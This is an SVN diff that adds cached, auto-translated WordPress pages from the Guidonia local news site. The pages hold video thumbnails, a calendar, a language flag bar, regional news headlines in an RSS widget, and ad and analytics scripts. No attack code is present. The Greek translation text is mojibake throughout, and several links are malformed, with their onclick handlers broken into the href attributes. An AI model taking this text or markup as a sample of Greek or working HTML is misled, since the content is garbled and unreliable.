tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - ÎÎ­ÎŸÎµÎ¹Ï ÎºÎ±Î¹ ÎÏÎ¿Î¹ ÎÎŒÎ­ÏÎµÏ - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Î Î­ÎœÎœÎ¿Î¹Î± ÏÎ·Ï Everything Is - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - ÎÎ· ÎÎ¹ÏÎ±Î³ÏÎ³Î® - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > ÎÎ³Î³ÎµÎ»Î¯ÎµÏ</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > ÎÎ¿ÏÎ»Î¹Î¿Ï: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="ÎŽÎµÏ
+ÏÎ­ÏÎ±"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="ÏÏÎ¯ÏÎ·"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Î€ÎµÏÎ¬ÏÏÎ·"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="ÏÎ­ÎŒÏÏÎ·"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="ÏÎ±ÏÎ±ÏÎºÎµÏ
+Î®"> <span  > V</span> </th><th abbr=sabato scope=col title="Î£Î¬Î²Î²Î±ÏÎ¿"> <span  > S</span> </th><th abbr=domenica scope=col title="ÎºÏ
+ÏÎ¹Î±ÎºÎ®"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=el" >Â«ÎÎ¿ÏÎœÎ¹Î¿Ï</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=el" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=el" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=el" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > ÎÎµÏÎ±ÏÏÎ±ÏÏÎ®Ï</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6287' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6287&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6287&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6287&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6287&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6287&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6287&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6287&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6287&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6287&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6287&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6287&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6287&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6287&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="ÎÎ³Î³ÏÎ±ÏÎµÎ¯ÏÎµ ÏÎµ Î±Ï
+ÏÏ ÏÎ¿ ÏÎµÏÎ¹ÎµÏÏÎŒÎµÎœÎ¿"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6287&lang=el" >Fast Blog ÎÎ­Î±</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): Î²Î¹Î±ÏÎŒÎ¿ÏÏ, ÏÎ· ÎŒÎ­ÏÏÎ·ÏÎ· Î® ÏÎ¿Îœ &quot;Î³ÎµÎŒÎ¯Î¶ÎµÎ¹</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - Î ÏÎ¹ÎŽÎ·ÏÎ¿ÎŽÏÎ¿ÎŒÎ¹ÎºÎ® Î³ÏÎ±ÎŒÎŒÎ® ÏÎ¿Ï
+ &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: Î ÏÏÎ»Î·ÏÎ· ÎºÎ±Î¹ ÏÎ·Îœ ÎÏÏÎ¬Î»ÎµÎ¹Î± ÏÏÎ·Îœ ÎÏÎ³Î±ÏÎ¯Î±</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Î Î³Ï
+ÎœÎ±Î¯ÎºÎ± ÏÎºÎ¿ÏÏÎžÎ·ÎºÎµ Î±ÏÏ ÎºÎµÏÎ±Ï
+ÎœÏ ÏÏÎ¿ ÎÎ¬ÏÏÎ¹Î¿</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, ÏÏÎ¯ÏÎ¹Î± ÏÏÏÎ¯Ï ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿. ÎÏÎ¯ÏÏÎµ Î· Î±ÏÏÎŽÎµÎ¹ÎŸÎ·. &quot; Î Î·ÎŒÎµÏÎ¿ÎŒÎ·ÎœÎ¯Î± Î±ÏÎ¿ÏÏÎ¿Î»Î®Ï ÏÎ·Ï, Enzo Cappucci, ÎµÎ¯ÏÎµ ÎžÎ·Î»Î­Ï Î¶ÏÎ¿Ï
+ Î±ÎœÎ¬ÎŒÎµÏÎ± ÏÏÎ± ÏÎ±Î»Î¬ÏÎŒÎ±ÏÎ± ÏÏÎ·Îœ ÏÎµÏÎ¹ÏÎ­ÏÎµÎ¹Î± Abruzzo ÎºÎ±Î¹ Î­ÏÎµÎ¹ Î±ÏÎ¿ÎŽÎµÎ¯ÎŸÎµÎ¹Ï Î³Î¹Î± ÎµÎ»Î±ÏÏÏÏÎ·ÏÎ±, Î­Î»Î»ÎµÎ¹ÏÎ· ÎµÎ»Î­Î³ÏÏÎœ, ÎŒÎµ ÏÎ·Îœ ÎµÎ³ÎºÎ»Î·ÎŒÎ±ÏÎ¹ÎºÎ® Î±ÎŒÎ­Î»ÎµÎ¹Î± ÏÎ¿Ï
+ ÏÎ¿Î»Î»Î¬ ÏÏÎ¯ÏÎ¹Î± ÏÏÎ¯ÏÏÎ·ÎºÎ±Îœ. Î ... Tags: Enzo ÎºÎµÏÎ±Î»Î±Î¹Î¿ÏÎ¿Î¯Î·ÏÎ·Ï Abruzzo RaiNews24 RAI roma Î­ÎœÎ± [...]"">Rai Î³Î¹Î± ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;ÏÏÎ¿ onda&#39;&#39;L&#39;Aquila, ÏÏÎ¯ÏÎ¹Î± ÏÏÏÎ¯Ï ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿. ÎÎŽÏ ÎµÎ¯ÎœÎ±Î¹ ÏÎ± Î±ÏÎ¿ÎŽÎµÎ¹ÎºÏÎ¹ÎºÎ¬ ÏÏÎ¿Î¹ÏÎµÎ¯Î±&#39;&#39;. Î Î±ÏÎ¿ÏÏÎ­Î»Î»Î¿ÎœÏÎ±Î¹ Î±ÏÏ Rainews24, Enzo Cappucci, ÎµÎ¯ÏÎµ ÎžÎ·Î»Î­Ï Î¶ÏÎ¿Ï
+ Î±ÎœÎ¬ÎŒÎµÏÎ± ÏÏÎ± ÏÎ±Î»Î¬ÏÎŒÎ±ÏÎ± ÏÏÎ·Îœ ÏÎµÏÎ¹ÏÎ­ÏÎµÎ¹Î± Abruzzo ÎºÎ±Î¹ Î­ÏÎµÎ¹ Î±ÏÎ¿ÎŽÎµÎ¯ÎŸÎµÎ¹Ï Î³Î¹Î± ÎµÎ»Î±ÏÏÏÏÎ·ÏÎ±, Î­Î»Î»ÎµÎ¹ÏÎ· ÎµÎ»Î­Î³ÏÏÎœ, ÎŒÎµ ÏÎ·Îœ ÎµÎ³ÎºÎ»Î·ÎŒÎ±ÏÎ¹ÎºÎ® Î±ÎŒÎ­Î»ÎµÎ¹Î± ÏÎ¿Ï
+ ÏÎ¿Î»Î»Î¬ ÏÏÎ¯ÏÎ¹Î± Î®ÏÎ±Îœ ... ÎÏÎ¹ÎºÎ­ÏÎµÏ: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, ÏÏÎ¯ÏÎ¹Î± ÏÏÏÎ¯Ï ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">ÎÎœÎ¿ÏÎ»ÎµÏ ÎŒÎµ Î±ÎœÏÎ¯ÎºÎµÏ ÏÎ¹ÏÏÏÎ»Î¹ Î»Î·ÏÏÎµÎ¯Î±Ï ÏÎµ ÎŸÎµÎœÎ¿ÎŽÎ¿ÏÎµÎ¯Î¿</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">ÎÎ­ÏÏÎ¹ ÏÎ¿Îœ ÎÎ¿ÏÎ»Î¹Î¿ ÏÎ¿Ï
+ 23 ÏÏ
+ÎœÎŽÏÎ¿ÎŒÎ­Ï ÏÎµ ÏÎµÏÎ¹ÏÎµÏÎµÎ¹Î±ÎºÏ C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Î ÎŽÎ¹Î±ÏÎµÎ¯ÏÎ¹ÏÎ· ÏÎ¿Ï
+ ÎŒÎµÏÎµÎ³ÏÎµÎ¹ÏÎ·ÏÎ¹ÎºÎ¿Ï ÏÏÎœÎ¿Ï
+ ÎºÎµÏÎŽÎ¯Î¶ÎµÎ¹ &quot;ÎºÎ±Î¹ ÏÎ¿ rock &#39;ÏÎµÎœÏÏÏÏÎµ&#39; Îµ. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">ÎÏ
+ÎœÎ±Î¯ÎºÎµÏ ÎºÎ±Î¹ ÏÎ· ÎÎ·ÎŒÎ¿ÎºÏÎ±ÏÎ¯Î±.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Î ÏÏÎ²Î¿Ï, Î²ÏÎ¯ÏÎºÎµÏÎ±Î¹ ÎºÎ±Î¹ ÏÎ¿ &quot;ÎŒÏÎžÎ¿&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">ÎÏ
+ÎœÎ±Î¯ÎºÎµÏ ÎºÎ±Î¹ ÏÎ· ÎÎ·ÎŒÎ¿ÎºÏÎ±ÏÎ¯Î±.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Î ÏÏÎ²Î¿Ï, Î²ÏÎ¯ÏÎºÎµÏÎ±Î¹ ÎºÎ±Î¹ ÏÎ¿ &quot;ÎŒÏÎžÎ¿&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">ÎÎµÏÎ±ÏÏÎ· ÏÏÎµÎŒÎ¹Î­ÏÎµÏ ÏÎ·Îœ Î Î­ÎŒÏÏÎ·, ÎÎ¿ÏÎœÎ¹Î¿Ï 25 ÎµÎ¯ÎœÎ±Î¹ Î¿ ÎºÎ¹ÎœÎ·ÎŒÎ±ÏÎ¿Î³ÏÎ¬ÏÎ¿Ï</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">ÎÎºÎ»Î¿Î³Î­Ï, ÎºÎ±Î¹ Guidonia Î Î·Î³Î® ÎÎ­Î¿ ÎºÎ­ÎœÏÏÎ¿ Î³Î¹Î± ÎœÎ±</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=el" >GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·).</a> ÎÎµÏÎŒÏÏ: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">ÎÎºÎ»Î¿Î³Î­Ï Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.886 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 01:50:18 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/en/_wp__lang=en
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/en/_wp__lang=en	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/en/_wp__lang=en	(revision 44)
@@ -0,0 +1,122 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/ /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> GuidoniaPuntoNet (in progress) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (in progress) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="default" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="pink" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="green" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="purple" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="red" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="blue" /><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (in progress)" href=http://www.guidonia.net/wp /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=en" >GuidoniaPuntoNet (in progress)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=en" >Home</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=en" >About</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=en" >Contacts</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="search" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-8><h2> <span  > <a href="http://www.guidonia.net/wp?p=8&lang=en" >Guidonia in WebTv</a></span> </h2><p class=meta-header> <span  > Received on April 05, 2009 in <a href="http://www.guidonia.net/wp?cat=3&lang=en" >News on Guidonia</a> by <a href="http://www.guidonia.net/wp?author=1&lang=en" >admin</a></span> </p> <span  ></span> <!-- Easy AdSense V2.58 --><!-- Post[count: 1] --><div class="ezAdsense adsense adsense-leadin" style=float:right;margin:12px;><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 234x60, creato 04/07/09 */
+google_ad_slot = "5882218014";
+google_ad_width = 234;
+google_ad_height = 60;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div><p><center><br /><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 468x60, creato 23/05/09 */
+google_ad_slot = "2568589828";
+google_ad_width = 468;
+google_ad_height = 60;
+//-->
+</script><br /><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></p><p><div class=tubepress_container><div id=tubepress_mainvideo><div id=tubepress_inner style="width: 425px"><div id=tubepress_btitle> <span  > Mansarda <a href="http://www.guidonia.net/wp?tag=guidonia&lang=en" >Guidonia</a> Center</span> </div><object type=application/x-shockwave-flash style="width: 425px; height: 355px" data=http://www.youtube.com/v/z32gTXwZyq0&amp;rel=0&amp;autoplay=0&amp;loop=0&amp;egm=0&amp;border=1&amp;fs=1&amp;showinfo=1><param name=wmode value=transparent /><param name=movie value=http://www.youtube.com/v/z32gTXwZyq0&amp;rel=0&amp;autoplay=0&amp;loop=0&amp;egm=0&amp;border=1&amp;fs=1&amp;showinfo=1 /><param name=allowfullscreen value=true /></object></div><!-- tubepress_inner --></div><!--tubepress_mainvideo--><br /><div class=pagination><div class=pagination> <span  > <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >2</a> <a href="http://www.guidonia.net/wp?tubepress_page=3&lang=en" >3</a> <a 